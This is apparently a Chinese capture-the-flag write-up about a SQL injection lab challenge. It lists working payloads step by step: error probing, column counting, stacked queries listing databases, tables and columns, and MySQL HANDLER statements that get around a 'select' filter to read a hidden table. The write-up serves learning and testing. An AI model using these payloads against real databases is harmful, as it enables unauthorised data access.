01、题目简介
02、解题步骤
启动并访问靶机

输入经典语句进行注入测试
1'发现存在报错

对语句进行闭合
1'#
判断为三列,进行注入1' order by 3#
发现无法注入,可能存在屏蔽词,进行堆叠注入尝试0';show databases#
进行查表操作0';show tables#
查看表中内容0';show columns from `1919810931114514`#
0';show columns from words;#
因为select关键字被过滤了,所以我们可以使用handle进行注入
handle是Mysql语句,可以逐行浏览某个表中的数据
0';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;